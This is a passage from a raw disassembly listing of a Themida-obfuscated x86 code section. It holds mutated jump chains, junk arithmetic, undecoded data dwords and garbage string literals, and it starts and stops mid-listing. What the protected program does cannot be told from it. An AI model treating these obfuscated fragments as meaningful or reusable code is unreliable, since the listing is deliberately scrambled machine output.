4A36h, 0E9240489h, 136B8h, 913200BAh, 0A81EE946h dd 0DE290000h, 83241C8Bh, 0F7E904C4h, 1000092h, 93D5E9FBh dd 74680000h, 89000002h, 0FBB62414h, 0F8EC80h, 0F8C480F4h dd 0FFFF94E9h, 241489FFh, 0C281E289h, 4, 2BE56h, 0EA810000h dd 1E5C0D72h, 0C281F201h, 1E5C0D72h, 5524348Bh, 8904EC83h dd 0E6892434h, 4C681h, 0EE830000h, 24348704h, 0F2D5E95Ch dd 0ED830000h, 599E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59226E: ; CODE XREF: Themida_:0059A67Dj shr esi, 6 jmp loc_5A4670 ; --------------------------------------------------------------------------- dw 0EA80h dd 268FE901h, 0C4810001h, 4, 81E68956h, 4C6h, 23A0E900h db 1, 0 ; --------------------------------------------------------------------------- loc_592292: ; CODE XREF: Themida_:005930DEj push edx mov ebp, [esp] jmp loc_59DC9E ; --------------------------------------------------------------------------- loc_59229B: ; CODE XREF: Themida_:0059CFAAj xor ebx, ecx jmp loc_5A0B07 ; --------------------------------------------------------------------------- dw 0CD29h dd 0C5815F59h, 2, 8B242C87h, 3CD22424h, 0E0E99C24h, 0B5FFFFE7h dd 0D10BE9EFh, 68660000h, 14280000h, 24148A24h, 815A5452h dd 4C2h, 2C28300h, 31241433h, 14332414h, 0F1E95C24h, 89000013h dd 0E589242Ch, 8790E9h, 24048900h, 0F9157C68h, 2DE95843h dd 29000058h, 33AC2DD0h, 5A2D2A59h, 5A12175Ch, 79D368h dd 24348900h, 100BEh, 0FFF02100h, 555E2434h, 0FFF88EE9h dd 0E95966FFh, 0B209h, 5C243C87h, 4C581h, 0BB530000h, 4 dd 1C8BDD01h, 4C48124h, 55000000h, 42474FFh, 24048F5Dh dd 8324248Bh, 148904ECh, 71E924h, 148B0001h, 4C48324h dd 4C481h, 0C4830000h, 4EC8304h, 0FFEA58E9h db 0FFh ; --------------------------------------------------------------------------- loc_592375: ; CODE XREF: Themida_:00591A67j xchg ecx, [esp] pop esp push ebp push 3BD37599h jmp loc_598470 ; --------------------------------------------------------------------------- dd 57240489h, 7585BE56h, 0F7891748h, 0F668575Eh, 8B23B231h dd 0C483243Ch, 8E7C104h, 6500E9h db 0 ; --------------------------------------------------------------------------- loc_5923A5: ; CODE XREF: Themida_:0059FDA3j dec esi jmp loc_598439 ; --------------------------------------------------------------------------- aNt8scd db '¾ËN’8é—¤',0 db 0 ; --------------------------------------------------------------------------- loc_5923B5: ; CODE XREF: Themida_:005A5441j mov [esp], esi jmp loc_5A0897 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0E8010000h, 10B65E9h, 242C8100h, 5C495D2Dh, 0FFE6C6E9h dd 0E78957FFh, 4C781h, 6FE90000h, 0FF0000E0h, 9DE92434h dd 0F7000052h, 0ABC581DDh, 815E0549h, 565737C5h, 5DE8290Ah dd 1405C205h, 2DF02904h, 41405C2h, 7B3BB951h, 0E981526Ch dd 13D00F40h, 199FC981h, 0E1814E5Eh, 40EF2105h, 2FC18149h dd 1D3F658h, 42D59C8h, 0E91A4A12h, 6457h ; --------------------------------------------------------------------------- loc_592434: ; CODE XREF: Themida_:005A521Fj xchg edx, [esp] pop ebp jmp loc_595B58 ; --------------------------------------------------------------------------- loc_59243D: ; CODE XREF: Themida_:0059BF04j mov ecx, 1EDA24EEh shl ecx, 5 sub ecx, 93383A44h sub ebx, ecx pop ecx jmp loc_594766 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 81000000h, 4ECh, 3427E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592466: ; CODE XREF: Themida_:005A4712j push dword ptr [esp] push dword ptr [esp] jmp loc_5A4E27 ; --------------------------------------------------------------------------- aH_ db ']h¾.',0 dw 8900h dd 4B82404h, 81000000h, 100477E9h, 81C1015Ch, 100477C1h dd 24048B5Ch, 0E9E18951h, 64A4h, 2404895Ch, 659B68h, 24248900h dd 4240483h, 0C6BE9h, 0E9C2FE00h, 7FBAh ; --------------------------------------------------------------------------- loc_5924B4: ; CODE XREF: Themida_:00591BA4j add edi, edx add edi, 51EF6E66h pop edx xchg edi, [esp] mov esp, [esp] shl eax, cl push 7FF2h mov [esp], ebp mov ebp, 232237DBh or ebp, 13AC6381h add ebp, 1 push ecx mov ecx, esp push 6EE8h mov [esp], ebp mov ebp, 2AC2AD3h jmp loc_599D15 ; --------------------------------------------------------------------------- dd 0E904C283h, 8FBCh ; --------------------------------------------------------------------------- loc_5924F8: ; CODE XREF: Themida_:0059D2D2j add ecx, 4 jmp loc_598FE0 ; --------------------------------------------------------------------------- loc_592503: ; CODE XREF: Themida_:005A2D27j push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_592753 ; --------------------------------------------------------------------------- loc_592515: ; CODE XREF: Themida_:0059DCEAj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 7C0013A8h push eax mov eax, 6C4B4B0Ah jmp loc_5A1452 ; --------------------------------------------------------------------------- db 68h dd 2200h, 0B9240C89h, 566A3E24h, 0E904EC83h, 10ECh ; --------------------------------------------------------------------------- loc_59254C: ; CODE XREF: Themida_:00590C00j sub ebx, 37D7C4Eh pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_59195D ; --------------------------------------------------------------------------- dd 0B0240489h, 0E9C8FE59h, 127C6h, 3238B850h, 5401F93h dd 47200E8Dh, 51DF4F05h, 0EDE8E9D9h, 0E953FFFFh, 644Eh dd 5052E589h, 6E313BB8h, 0D91FBA10h, 0C2016A78h, 0E924048Bh dd 6D97h, 4C381h, 0C3810000h, 4, 5C241C87h, 134368h, 24148900h dd 49168h, 526B6800h, 24890000h, 24048324h, 24048F04h dd 3B8AE9h, 7E8C100h, 2761550Dh, 0A812D5Bh, 0C78955AEh dd 12C8FE9h db 0 ; --------------------------------------------------------------------------- loc_5925E9: ; CODE XREF: Themida_:0059F963j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5925EE: ; CODE XREF: Themida_:0059F26Ej pop esp xchg ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_590A9B ; --------------------------------------------------------------------------- dw 0EF83h dd 243C8704h, 2424895Ch, 4240483h, 6292685Bh, 14890000h dd 46824h, 57E90000h, 5F0000FFh, 34FFC731h, 24048B24h dd 8304C483h, 0D8E904C4h, 0FF00009Eh, 0B2E92434h, 8900009Dh dd 74FF2414h, 0E95A0424h, 88Bh, 7A4A52BBh, 76E3810Eh, 815CF807h dd 0CB4C03E3h, 2EBC170h, 10CF381h, 0BE91C52h, 8100003Ah dd 942ECEAh, 0E4EA8158h, 59272042h, 5C241487h, 4C781h dd 0C7830000h, 243C8702h, 6624248Bh, 2404B30Fh, 0E409E99Ch dd 0E95BFFFFh, 1B75h, 0A6E9F289h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59269F: ; CODE XREF: Themida_:00595471j pop esp mov ax, [esp] push ecx jmp loc_597A1D ; --------------------------------------------------------------------------- dw 7C01h dd 0E9510424h, 290Eh, 0C112C581h, 0EB29DB0Dh, 35BE565Dh dd 296B8A11h, 0E6A9E9F0h, 0E95DFFFFh, 12085h, 15EF331h dd 32C5E9DEh db 1, 0 ; --------------------------------------------------------------------------- loc_5926DA: ; CODE XREF: Themida_:005950DAj mov esi, 3C384728h add eax, 2DBA5A7Ah add eax, esi jmp loc_59E3DD ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFE3ABh, 0BF499AB8h, 49962D1Bh, 8BE91BBFh db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5926FF: ; CODE XREF: Themida_:00596F18j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] jmp loc_593A12 ; --------------------------------------------------------------------------- loc_59270E: ; CODE XREF: Themida_:0059BEC5j xchg bh, [esp+1] pop dx shr dh, 5 shr dh, 7 not dh jmp loc_59D1EC ; --------------------------------------------------------------------------- byte_592721 db 0E9h, 75h, 0E3h ; DATA XREF: Themida_:005909E0o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592726: ; CODE XREF: Themida_:005933BCj mov ebx, 1C000AB6h sub ebx, 317668F3h jmp loc_598F50 ; --------------------------------------------------------------------------- dw 0D2F6h aPJsfk db 'P´¦éFª',0 align 10h loc_592740: ; CODE XREF: Themida_:005A10A0j neg ecx add ecx, 3F702BC3h add ecx, 7F1A463Fh jmp loc_597C32 ; --------------------------------------------------------------------------- loc_592753: ; CODE XREF: Themida_:00592510j push esi push esp pop esi push ebp mov ebp, 45D85D69h sub ebp, 45D85D65h add esi, ebp mov ebp, [esp] jmp loc_59E0C9 ; --------------------------------------------------------------------------- loc_59276C: ; CODE XREF: Themida_:0059DC07j add esp, 4 push eax jmp loc_5A147E ; --------------------------------------------------------------------------- db 57h, 0E9h, 0BFh dd 1000000h, 525558C2h, 0FFF100E9h, 0FFC581FFh, 0E9FFFFFFh dd 3A95h, 55BD5548h, 31734C61h, 0ACE95DE8h, 6600001Ch dd 0E95FF829h, 1255Fh, 0D9B75366h, 0B159E9h, 0FFE95A00h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5927B7: ; CODE XREF: Themida_:00595AA7j add ebx, 1 jmp loc_5A4523 ; --------------------------------------------------------------------------- db 0B7h dd 59EF2849h, 1034E9h, 0C2BE5600h, 81306D2Dh, 800ACEEh dd 0C692E912h, 58530000h, 645FE95Bh, 0C7680000h, 5400006Fh dd 8124048Fh, 42404h, 0C8B0000h, 4C48124h, 0E9000000h dd 9F04h, 14E9515Ah, 87000081h, 895C242Ch, 0EC83242Ch dd 24248904h, 788568h, 0EB19E900h db 2 dup(0FFh) aRss db 'Ré‘Ë',0 ; DATA XREF: Themida_:00590868o align 4 aPsS db 'Pé"S',0 align 2 dw 3C89h dd 81E78924h, 4C7h, 0FAD8E900h, 74FF0000h, 0E95F0424h dd 12B47h, 0BF243C89h, 57C15938h, 0EE9FEF81h, 1CE938BFh dd 81000012h, 4C5h, 9BE95100h, 0FF0000C3h, 8B042474h, 0EC812434h dd 4, 89241489h, 4C281E2h, 53000000h, 4BBh, 0B4BD5500h dd 57049334h, 0F4A5E9h, 37C78100h, 31B91543h, 243C8BF8h dd 4C481h, 0C3310000h, 2E96BB53h, 0DA2957BEh, 0FFFD86E9h dd 4C181FFh, 81000000h, 4E9h, 240C8700h, 242C895Ch, 0D111E9h db 0 ; --------------------------------------------------------------------------- loc_5928C5: ; CODE XREF: Themida_:0059EA77j push dword ptr [esp+4] jmp loc_59FE2B ; --------------------------------------------------------------------------- dw 0C181h dd 0FFFFFFFFh, 0D1CCE9h, 0B0505200h, 52642CE5h, 0C680DFB6h dd 4E6C092h, 8004CE80h, 0F000E6EEh, 0EFCFE95Ah, 0CD80FFFFh dd 0C0CDFEF4h, 0E5C004E5h, 43BE907h, 0C8B0001h, 8630E924h dd 0F9090000h, 81243C8Bh, 4C4h, 2E9C100h, 0F6EE9h db 0 ; --------------------------------------------------------------------------- loc_592921: ; CODE XREF: Themida_:005A5B25j sub eax, ebp jmp loc_59E817 ; --------------------------------------------------------------------------- aISi_ db '‰Ýéˆ_',0 db 0 ; --------------------------------------------------------------------------- loc_59292F: ; CODE XREF: Themida_:005A242Fj sub eax, ebx pop ebx pop ebx jmp loc_5A219C ; --------------------------------------------------------------------------- loc_592938: ; CODE XREF: Themida_:005A239Bj xor ebx, 70BFB305h add ebp, ebx pop ebx mov ecx, ebp pop ebp sub esi, 1278303Ah add esi, ecx jmp loc_592032 ; --------------------------------------------------------------------------- aHE db '\hÆE',0 dw 8900h dd 6851243Ch, 0F2542A7h, 0CDE95359h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_592967: ; CODE XREF: Themida_:0059CE9Bj push edx push ebx push 4937752h pop ebx and ebx, 6C0F08D3h xor ebx, 4030056h mov edx, ebx pop ebx jmp loc_597B6A ; --------------------------------------------------------------------------- db 31h dd 0EAC159CAh, 9AF28104h, 298DB980h, 6AE95AD7h, 87000111h dd 248B2404h, 241C8924h, 688B6858h, 0C5E90000h, 89000118h dd 0A468243Ch, 8900001Eh, 4832424h, 0E6E90424h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5929BF: ; CODE XREF: Themida_:00599186j add esp, 4 sub edx, 3E2E6841h add edx, 1 add edx, 312A6FABh push esi push ecx push ebp mov ebp, 703E15D7h shr ebp, 3 not ebp sub ebp, 0EB86D42Fh mov ecx, ebp pop ebp jmp loc_5994C9 ; --------------------------------------------------------------------------- loc_5929F2: ; CODE XREF: Themida_:005976FBj sub ah, dl push dword ptr [esp] jmp loc_5A107B ; --------------------------------------------------------------------------- aAu4sB db '€ã4é',27h,'B',0 align 4 dd 0BD242C89h, 52D53D3Ah, 8105E5C1h, 0A7A704EDh, 0E9E9895Ah dd 68DFh, 33241431h, 28E92414h db 0Eh, 1, 0 ; --------------------------------------------------------------------------- loc_592A27: ; CODE XREF: Themida_:0059B133j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A192E ; --------------------------------------------------------------------------- dd 0E924248Bh, 12CCFh, 0E981F901h, 34713BEFh, 83243C8Bh dd 0C8704C4h, 24248B24h, 11A56E9h, 5AD32800h, 114EBE9h dd 241C8900h, 1A0F2DBBh, 0DFCB812Bh, 4B73E912h, 0E951DBF7h dd 1170Ah ; --------------------------------------------------------------------------- loc_592A78: ; CODE XREF: Themida_:00592F96j add ebx, edx push esi mov esi, 224170FDh jmp loc_595CC9 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 721C8B8h, 38F9352Bh, 535653F8h, 0A749E9h, 23E90500h dd 54051A4Ch, 8B07A91Fh, 0E9512414h, 0FFFFF9A7h, 4C481h dd 0EC810000h, 4, 0B5240C89h, 0BB9E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592AC2: ; CODE XREF: Themida_:005A1F88j push edi mov edi, 7F821E4Ah mov esi, 7F821E4Ah sub esi, edi pop edi sub esi, ebx jmp loc_59F52E ; --------------------------------------------------------------------------- db 81h dd 4C3h, 0CB7AE900h, 34890000h, 2474FF24h, 24348B04h, 4C481h dd 93E90000h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_592AF7: ; CODE XREF: Themida_:00596E49j push eax mov eax, 72046C61h push ebp mov ebp, 6F8008A1h neg ebp not ebp add ebp, 1AAB29BDh inc ebp and ebp, 352B08F8h push edx mov edx, 37445B2Dh or edx, 78C856BAh inc edx or edx, 327C06FFh sub edx, 80276058h jmp loc_59DD67 ; --------------------------------------------------------------------------- dw 64E9h dd 89FFFFDFh, 0B24CE9DDh, 2C8B0000h, 4C48124h, 81000000h dd 7D56AECDh, 78685126h, 59251205h, 0E959CD29h, 6F22h ; --------------------------------------------------------------------------- loc_592B5C: ; CODE XREF: Themida_:005A4364j add ebx, 376A215Ah add ebx, 1F374973h sub ebx, 0AF3A3DD7h sub edi, 3F3A45A6h sub edi, ebx jmp loc_59A656 ; --------------------------------------------------------------------------- db 81h dd 745651EEh, 0B6CE8118h, 81009061h, 9119E0F6h, 0D0C68130h dd 8120CFE3h, 655FE7EEh, 27F6814Fh, 0C119CF32h, 0A5E903E6h dd 0B20000B4h, 0FED2F680h, 46EA80CAh, 0FFFEA4E9h, 243C33FFh dd 4EC835Ch, 11C20E9h, 0ED814500h, 3C344AC9h, 1D9368h dd 24348900h, 0F81EA5BEh, 5EF5315Bh, 413EB951h, 0E1C14679h dd 0E9C14907h, 1B8EE908h, 34FF0001h, 0C4835B24h, 24348B04h dd 0E904C483h, 9FC0h, 8008E9C0h, 0B652D1E9h, 0ECE68058h dd 8007E6C0h, 0F120E5EEh, 0B652665Ah, 66F10872h, 0A8F1805Ah dd 9683E9h, 24248B00h, 1468C2FEh, 8900000Dh, 7CB42404h dd 0F607E4C0h, 37B252D4h, 0FFFAF9E9h, 2DD801FFh, 66446838h dd 0A855E9h, 58C62900h, 2A49BF57h, 0D7F77BC3h, 54E9504Fh db 49h, 2 dup(0) byte_592C5B db 0FFh ; DATA XREF: Themida_:00590858o dd 669D1C77h, 2414D359h, 0DE31E99Ch, 0EED0FFFFh, 0BBB05066h dd 0DE9C628h, 0BB00007Fh, 4, 565BDE01h, 42474FFh, 8124348Bh dd 4C4h, 24048F00h, 0B4B3E9h db 0 ; --------------------------------------------------------------------------- loc_592C95: ; CODE XREF: Themida_:00596915j mov cx, [esp] add esp, 2 jmp loc_591F8C ; --------------------------------------------------------------------------- db 5Fh, 29h, 0F2h dd 8324348Bh, 148704C4h, 24248B24h, 51241489h, 0C181E189h dd 4, 4E981h, 0C870000h, 9162E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592CCA: ; CODE XREF: Themida_:00590EA1j pop eax jmp loc_59D075 ; --------------------------------------------------------------------------- aI4Ics4c db '‰4$‰æé4—',0 align 2 dw 8B5Eh dd 0C481241Ch, 4, 40A668h, 8C8E900h, 88530000h, 7E0DE9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_592CF6: ; CODE XREF: Themida_:005A3FDEj push ebp jmp loc_59D66E ; --------------------------------------------------------------------------- aSsR db 'SéÓR',0 align 2 dw 4D3h dd 90E99C24h, 81FFFFDDh, 4C3h, 4EB8100h, 87000000h, 685C241Ch dd 7F9Dh, 81242489h, 42404h, 48F0000h, 0C0E95024h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_592D33: ; CODE XREF: Themida_:0059C818j shr eax, 2 neg eax push ebx mov ebx, 0A3B935E0h sub eax, ebx pop ebx mov [edx+30h], eax push dword ptr [esp] pop eax push esi mov esi, esp push eax mov eax, 5603533Fh inc eax add eax, 0A9FCACC4h add esi, eax pop eax jmp loc_59FF60 ; --------------------------------------------------------------------------- aPs db '^P鯲',0 align 2 loc_592D66: ; CODE XREF: Themida_:005A1382j xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ebx pop eax push 7D6Eh mov [esp], ebp sub esp, 4 jmp loc_5A0E54 ; --------------------------------------------------------------------------- loc_592D83: ; CODE XREF: Themida_:0059F796j mov eax, [esp] add esp, 4 push ebx mov ebx, 4 add eax, ebx pop ebx jmp loc_59333E ; --------------------------------------------------------------------------- loc_592D97: ; CODE XREF: Themida_:00599B16j mov edi, 59D6BD4h xor ebx, edi mov edi, [esp] add esp, 4 add eax, 6BDB0949h add eax, ebx jmp loc_598105 ; --------------------------------------------------------------------------- dd 0E03FC6B9h, 0FFC8294Dh, 0E9592434h, 443Ah, 8704C583h dd 42E9242Ch, 68000068h, 0C49h, 54243489h, 5E2434FFh, 0A12CE9h dd 782DBD00h, 0F5810796h, 2F451791h, 3BE9D5F7h, 80FFFFEEh dd 685963C3h, 717Fh, 0B4240489h, 33EC80EDh, 0E982C480h dd 26B9h ; --------------------------------------------------------------------------- loc_592E08: ; CODE XREF: Themida_:005969C3j add eax, edx pop edx xchg eax, [esp] pop esp push 3876h mov [esp], ebp jmp loc_599BDA ; --------------------------------------------------------------------------- dword_592E1C dd 24048B66h, 0FFE83CE9h, 0FEBB53FFh, 8949421Eh, 0F860E9D8h ; DATA XREF: Themida_:00590A00o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592E32: ; CODE XREF: Themida_:005A4434j add eax, ebx add eax, 65D37AF1h push dword ptr [esp] jmp loc_5A1055 ; --------------------------------------------------------------------------- a0syhdx db '0èYhdX',0 dd 1933E900h, 248B0001h, 0E1F76624h, 4A568h, 0E216E900h dd 38E9FFFFh, 5AFFFFDCh, 905C681h, 0FE291F9Fh, 905EE81h dd 0E2E91F9Fh, 81FFFFE4h, 26D6E3EAh, 74750563h, 0D029459Ah dd 4EC81h, 34890000h, 6EC8BE24h, 0ABE973DAh db 99h, 2 dup(0) byte_592E97 db 81h ; DATA XREF: Themida_:005908BCo dd 4ECh, 240C8900h, 6E95954h, 0BFFFFFFAh, 4, 7FE9FA01h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_592EB3: ; CODE XREF: Themida_:005A42A9j mov ecx, 73342660h neg ecx inc ecx jmp loc_59BE52 ; --------------------------------------------------------------------------- dd 8987F781h, 0FA01F4EAh, 8199E9h, 0F5E95900h, 8F00005Dh dd 248B2404h, 82BBE924h, 148B0000h, 4357E924h, 0EC830000h dd 24348904h, 0EB21AEBEh, 5EF5094Ch, 7BFAF581h, 99056CEBh dd 0E97A4742h, 0E3E9h, 0EC835E54h, 241C8904h, 2643E952h dd 15A0001h, 0C5815FFDh, 4, 0E9242C33h, 0A979h ; --------------------------------------------------------------------------- loc_592F24: ; CODE XREF: Themida_:005A468Dj push ecx mov ecx, 4 jmp loc_594A26 ; --------------------------------------------------------------------------- db 1 dd 58042444h, 0B8E4E9h, 4C68300h, 5C243487h, 0FFDB56E9h db 0FFh ; --------------------------------------------------------------------------- loc_592F45: ; CODE XREF: Themida_:00591F45j push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx jmp loc_59B6BB ; --------------------------------------------------------------------------- loc_592F55: ; CODE XREF: Themida_:00590D3Aj sub esp, 4 mov [esp], edx push 36A0h mov [esp], ebx push 435Eh mov [esp], edx mov dh, al jmp loc_59729B ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0E904C283h, 102A6h, 4EC81h, 14890000h, 8024B624h dd 0E0E99ECEh db 5, 1, 0 ; --------------------------------------------------------------------------- loc_592F93: ; CODE XREF: Themida_:0059B9CDj sub ebx, edi pop edi jmp loc_592A78 ; --------------------------------------------------------------------------- db 66h dd 667C2D68h, 0B6241489h, 77EB8072h, 11EB80h, 11C380F3h dd 6677C380h, 0E950665Ah, 0FFFFEB53h ; --------------------------------------------------------------------------- loc_592FBC: ; CODE XREF: Themida_:0059CA59j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_594260 ; --------------------------------------------------------------------------- loc_592FCF: ; CODE XREF: Themida_:00593997j add edi, 1FFA1316h jmp loc_59AC0B ; --------------------------------------------------------------------------- dw 815Dh dd 0DF60DFC3h, 0C8AFE90Fh, 3C890000h, 7933BF24h, 0D7F713D3h dd 0E907EFC1h, 231Bh dword_592FF8 dd 6824048Bh, 1881h, 0E9240C89h, 58h, 4E981h, 0C870000h ; DATA XREF: Themida_:005908C8o dd 4895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_59F94F ; --------------------------------------------------------------------------- db 0B1h dd 50D9F653h, 5BDFE9h db 0 ; --------------------------------------------------------------------------- loc_59302D: ; CODE XREF: Themida_:00593CD9j push dword ptr [esp] pop ecx add esp, 4 or edx, eax shl edx, 1 push 3143h mov [esp], ebx push esi mov esi, 1 mov ebx, esi pop esi push ecx push 3DC5h mov [esp], ebp push 24h pop ebp jmp loc_59699E ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_594B7A ; --------------------------------------------------------------------------- dd 6815055Ah, 0D8013B0Fh, 0F68152Dh, 67062D3Bh, 875B460Bh dd 515C2404h, 89E962B1h, 51FFFFDBh, 4B9h, 59C80100h, 405h dd 4EC8100h, 89000000h, 74FF2404h, 48B0424h, 1A48E924h dd 0EF010001h, 81242C8Bh, 4C4h, 433F6800h, 14890000h, 2BA24h dd 0D7010000h, 0E694E9h db 0 ; --------------------------------------------------------------------------- loc_5930D1: ; CODE XREF: Themida_:0059C14Cj pop eax jmp loc_594CE6 ; --------------------------------------------------------------------------- loc_5930D7: ; CODE XREF: Themida_:005A2022j pop ebp xor edx, 0A37DE2h jmp loc_592292 ; --------------------------------------------------------------------------- loc_5930E3: ; CODE XREF: Themida_:005A21ACj movzx cx, al push cx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- db 58h dd 4C781h, 7AE90000h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5930FB: ; CODE XREF: Themida_:0059C081j add ebx, 31C31ECBh sub ebx, 0C2B1116h sub ebx, edx jmp loc_5982AD ; --------------------------------------------------------------------------- aM0QpsA db '¬0ØQPé(€',0 ; DATA XREF: Themida_:00590854o align 4 aXssO db 'XSé~Ž',0 dw 5200h dd 0C11BDBBAh, 1BDFBF35h, 0D73135C1h, 0E4BE565Ah, 101F53Eh dd 0F8015EF0h, 0F53EE42Dh, 243C8B01h, 4C481h, 4870000h dd 72E95C24h, 50000084h, 5F240481h, 0E96A6930h, 3630h ; --------------------------------------------------------------------------- loc_59315C: ; CODE XREF: Themida_:005A1FE9j push 639Fh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] sub esp, 4 mov [esp], edx mov edx, 4 jmp loc_5A5B2A ; --------------------------------------------------------------------------- db 83h dd 0D36804C2h, 89000052h, 74FF2414h, 8F5A0424h, 685C2404h dd 1FB9h, 54242C89h, 59E9525Dh, 8900000Eh, 0A968242Ch dd 5D6FE765h, 2ADCCD81h, 0E5813058h, 6E613362h, 0F787E9h db 0 ; --------------------------------------------------------------------------- loc_5931B9: ; CODE XREF: Themida_:00593C8Bj push eax mov eax, 531C80D8h sub esi, eax jmp loc_596B1C ; --------------------------------------------------------------------------- loc_5931C6: ; CODE XREF: Themida_:005A1687j and edx, ebx pop ebx push edi mov edi, 66EFE789h add edx, edi mov edi, [esp] add esp, 4 xor eax, edx jmp loc_59718D ; --------------------------------------------------------------------------- loc_5931E1: ; CODE XREF: Themida_:005A2F1Fj pop edx sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5940E0 ; --------------------------------------------------------------------------- dw 1489h aHmExzsNE1QC_h db '$hm<¥xZS»{Ðe1Ú[Q¹ç)Û_h<#',0 dw 8900h dd 0DB82404h, 314C6954h, 24048BC1h, 0A482E9h db 0 ; --------------------------------------------------------------------------- loc_59322D: ; CODE XREF: Themida_:005A31E6j add esp, 4 add esp, 4 add eax, 4 xchg eax, [esp] jmp loc_5A501F ; --------------------------------------------------------------------------- aZ9uKKsZ db '¹z!9u½ŠÞÆŠé',27h,'§',0 db 0 ; --------------------------------------------------------------------------- loc_593255: ; CODE XREF: Themida_:0059E2B3j pop esi mov ebx, edx pop edx jmp loc_59A663 ; --------------------------------------------------------------------------- dw 0B252h dd 0E9CAFEE7h, 7842h, 0FFD82EE9h, 0E9CB28FFh, 0FFFFFB7Bh dd 4A120405h, 0E145E91Ah, 0DEF7FFFFh, 5CAEC681h, 40E9063Fh dd 8B000083h, 0C4832404h, 37EA8104h, 19E4334h, 2434FFD0h dd 5610E9h db 0 ; --------------------------------------------------------------------------- loc_5932A1: ; CODE XREF: Themida_:005A4B54j push ebx jmp loc_59833E ; --------------------------------------------------------------------------- db 89h dd 0F9BE2434h, 0E94BEF7Bh, 0FFFFF41Ch ; --------------------------------------------------------------------------- loc_5932B4: ; CODE XREF: Themida_:0059A48Bj inc esi jmp loc_5A16B1 ; --------------------------------------------------------------------------- dw 0FF56h dd 5E042474h, 5C24048Fh, 0E9243489h, 0E36Ch ; --------------------------------------------------------------------------- loc_5932CC: ; CODE XREF: Themida_:005A2F9Ej pop ebp jmp loc_5A0FB2 ; --------------------------------------------------------------------------- dw 0C381h dd 5157470Ch, 8324148Bh, 8CE904C4h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5932E3: ; CODE XREF: Themida_:0059E0D2j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5A19A0 ; --------------------------------------------------------------------------- loc_5932F7: ; CODE XREF: Themida_:00595FDFj push ebx push esi jmp loc_5996F4 ; --------------------------------------------------------------------------- dw 0F468h dd 0E9000073h, 0FFFFDF3Ch, 4B9h, 0FDC38100h, 130CC2Eh dd 0FDEB81CBh, 0E930CC2Eh, 0B5E6h ; --------------------------------------------------------------------------- loc_593320: ; CODE XREF: Themida_:00594C9Ej inc eax shr eax, 5 sub eax, 8F880A38h push 414Ch mov [esp], eax push edi mov edi, 4AFB21A0h mov eax, edi jmp loc_59CEC8 ; --------------------------------------------------------------------------- loc_59333E: ; CODE XREF: Themida_:00592D92j push ebx push ecx push ebx mov ebx, 190E69FCh jmp loc_59BC3E ; --------------------------------------------------------------------------- loc_59334B: ; CODE XREF: Themida_:0059B32Bj add [esp+8], ecx pop ecx jmp loc_5A46E1 ; --------------------------------------------------------------------------- loc_593355: ; CODE XREF: Themida_:0059AFDEj mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_599026 ; --------------------------------------------------------------------------- dd 0C15EF529h, 0BE5602E5h, 5E454591h, 2909E9h, 0C6815E00h dd 4, 555F5457h, 4BDh, 21D1E900h db 1, 0 word_59338E dw 0C8Bh ; DATA XREF: Themida_:00590A34o db '$h{#',0 align 2 dw 1489h dd 148B5424h, 4C48124h, 83000000h, 2C8904ECh, 4BD24h, 0BB530000h dd 53616604h, 0FFE9DA29h db 0DBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5933BB: ; CODE XREF: Themida_:00597E18j push ebx jmp loc_592726 ; --------------------------------------------------------------------------- db 5Ah, 51h, 89h dd 4C181E1h, 83000000h, 4FE904C1h db 0DAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5933D3: ; CODE XREF: Themida_:0059B9EFj sub esi, 17FD48EEh pop edi pop ecx jmp loc_5A2B8E ; --------------------------------------------------------------------------- loc_5933E0: ; CODE XREF: Themida_:00597005j add al, 0C6h pop ebx push 44C3h mov [esp], ecx sub esp, 4 mov [esp], eax mov al, 0F5h dec al xor al, 0AEh add al, 5Ah jmp loc_59A9DF ; --------------------------------------------------------------------------- db 28h, 0F5h, 66h dd 8BEC885Ah, 0C481240Ch, 4, 3058E688h, 148B66F0h, 0EBC9E924h dd 0F7B0FFFFh, 0C0FED0F6h, 11D2EE9h, 9AE95600h, 1FFFFE5h dd 